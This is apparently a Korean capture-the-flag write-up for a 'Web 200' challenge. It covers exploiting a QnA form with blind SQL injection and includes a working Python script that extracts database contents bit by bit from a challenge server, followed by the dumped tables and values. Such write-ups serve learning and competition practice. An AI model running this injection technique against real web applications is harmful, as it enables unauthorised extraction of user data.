Web 200
다른 문제 다 접고 (어차피 상상도 못한 어마어마한 방법이였으니..) 이것만 잡았습니다.
다 제끼고 흐름만 이야기 하겠습니다.
페이지를 들어가면 위와 같은 로그인 창이 뜹니다.
Join을 누르면 위와 같은 가입 창이 나옵니다.
로그인을 하면 위 메뉴중 QnA가 있는데,
QnA가 INSERT문이 아닌 SELECT 문을 쓰는건 처음이였습니다;;
여튼 이를 이용해 BlindSQLi를 진행합니다.
import requests import urllib import time #main url: http://223.194.105.182:43080/pmain.php cookies={'PHPSESSID':'igak84e5ejdkua67qegu2d45h5'} url = "http://223.194.105.182:43080/question_query.php" tables='' silnex='' def bits2a(b): return ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8)) for lim in range(0,5): print tables tables+='| '+str(lim)+'. ' for chr_l in range(1,1000): binary='' for bin_l in range(1,8): param=" ' or mid(lpad(bin(ord(mid((select DISTINCT concat(id,':',pw) from inforseat where id='tsuh' limit "+str(lim)+",1 ),"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) = 1# " time.sleep(0.5) data = {'content':param} s = requests.post(url, cookies=cookies, data=data) print param #print s.text if not '<!--==============================header=================================-->' in s.text: bin_l-=1 continue if 'Sangyoon' in s.text: binary+='1' else: binary+='0' if binary == '0000000': print "break!" break else: silnex+='0'+binary tables+=bits2a(silnex) silnex='' print tables+ ' |'
중간에 “===header===” 이 부분이 들어간건 서버가 너무 잘 죽더군요;;
그래서 살아있는지 확인하기 위해 넣은 겁니다.
그래서 꺼낸 DB내용
db : khkekb table_name column_name | data HUST 0.look| 1.it| 2.i5| 3.hint| | 0.donot:open:seat:table boom 0. go| 1. t0| 2. another| 3. t4ble| | 0. there:isnot:answer:here chicken 0. chicken| 1.i5| 2.very| 3.delicious| | 0. go:to:board:table board 0. find| 1. data| 2. v4lues| 3. please| | 0. go:to:chiffon:tab1e chiffon 0. m4tch| 1.w0rds| | 0. 3ny4v:tsuh inforseat 0. id| 1.pw| 2.name| 3.tel| 4.email| | 0. user account aseat 0. name| 1. tel| 2. home| 3. seat| 4. id| sseat 0. name| 1.tel| 2.home| 3.seat| | 1.010XXXXXXXX:SKT:S | 2.010XXXXXXXX:KT:S | 3.010XXXXXXXX:SAMSUNG:S | 4.010XXXXXXXX:MVP:S | 5.010XXXXXXXX:Afreeca:S | 6.010XXXXXXXX:ROX:S | 7.010XXXXXXXX:Longzhu:S | 8.010XXXXXXXX:bbq:S | 9.010XXXXXXXX:Jin Air:S | 10.010:test3:S | 11.test12:test12:S | 12.dldmlwhd:dldmlwhd:S | 13.zaxscd:SKY:R | 14.hacuna:hacuna:R | 15.hacuna:hacuna:S
에.. 여기 까진 금방 왔는데.. 이다음이 문제더군요..
여기서 상당히 힘들었는데
저기다 DB에서 나온 내용중 chiffon의 값인 3ny4vtsuh를 넣어 보내주면
플레그가 나오면서 풀립니다.
나름 흰트였는지 모르겠지만 위 파라미터의 임의 값을 넣으면
이렇게 나오는데 이걸 흰트라고 생각 할 수 있을까 살짝 의구심이 드네요…
뭐,, 입력값을 넣을수 있는 부분이 굉장히 한정적이라고는 해도 상당한 게싱능력이 요구되는 문제 아닌가 조심스래 평해 봅니다.